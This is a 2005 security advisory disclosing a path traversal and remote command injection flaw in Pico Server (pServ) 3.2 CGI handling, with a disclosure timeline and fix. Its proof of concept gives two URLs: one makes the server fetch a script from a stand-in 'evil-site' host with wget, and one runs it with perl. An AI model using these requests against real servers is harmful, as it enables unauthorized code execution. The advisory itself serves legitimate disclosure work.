Advisory: Pico Server (pServ) Remote Command Injection 

RedTeam found a remote command injection in Pico Server (pServ) which results
in a remote attacker being able to issue arbitrary commands on the server.

### Details

- Product: Pico Server (pServ)
- Affected Version: 3.2(verified), \<=3.2 probably too
- Immune Version: 3.3
- OS affected: all
- Security-Risk: very high
- Remote-Exploit: yes
- Vendor-URL: `http://pserv.sourceforge.net/`
- Vendor-Status: new version available
- Advisory-URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2005-010`
- Advisory-Status: published
- CVE: CAN-2005-1365 (`https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1365`)

### Introduction

From <https://pserv.sourceforge.net/>:

Pico Server is a small web server. It is meant to be portable and
configurable.

- small, portable
- fast
- CGI-BIN support
- auto-indexing of directories
- access and error logging (see p-reporter for an analyzer)
- forking or single-connection at choice

Pico Server (pServ) is written in portable C (K&R style so it can compile on
older compilers too) and sports several options that by means of \#define
statements can customize the behavior, the performance and the feature set so
to be able to fit better the the requisites.

If pServ is compiled with support for CGI-BIN a remote attacker is able to
execute any program (with pServ permissions) on the server by traversing out
of the cgi-bin directory.

### More Details

pServ has CGI-BIN support. Only URLs beginning with "cgi-bin" are treated as
cgi-scripts.
To avoid that a user traverses out of the cgi-bin using traditional /../,
pServ parses the requested url. It increases a counter by one if it parses a
/ (new subdir) and decreases the counter if ist parses /../. If the counter
goes below zero the url is rejected as illegal. Unfortunately an attacker can
avoid beeing rejected, just using enough / in the url (without directory
names between them), so he can traverse out of the cgi-bin by adding some
/../ . This lets the attacker execute any program on the server (with pServ
permissions).

### Proof of Concept

The following url downloads a script (or executable) to the server:

```
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/wget?-q+http://evil-site/evil.pl/+-O+/tmp/evil.pl
```

This is how the script can be executed afterwards:

```
http://vuln-host:2000/cgi-bin///////////../../../../../../../../usr/bin/perl?/tmp/evil.pl
```

### Workaround

The only workaround is to compile pServ without support for cgi-bin.

### Fix

The Developers have released Version 3.3. This version should fix the
problem. The changes have not been tested by RedTeam, yet.

### Security Risk

The security risk is rated very high because a remote attacker can use this
flaw to execute arbitrary code on the server (with the permissions of pServ).

### History

- 2005-04-29 found
- 2005-05-02 first attempt to inform developers
- 2005-05-02 CAN-number assigned
- 2005-05-04 second attempt to inform developers
- 2005-05-16 new version released. Advisory published
- 2009-05-08 Updated Advisory URL

### RedTeam

RedTeam is a penetration testing group working at the Laboratory for
Dependable Distributed Systems at RWTH-Aachen University. You can find more
Information on the RedTeam Project at
<https://www.redteam-pentesting.de>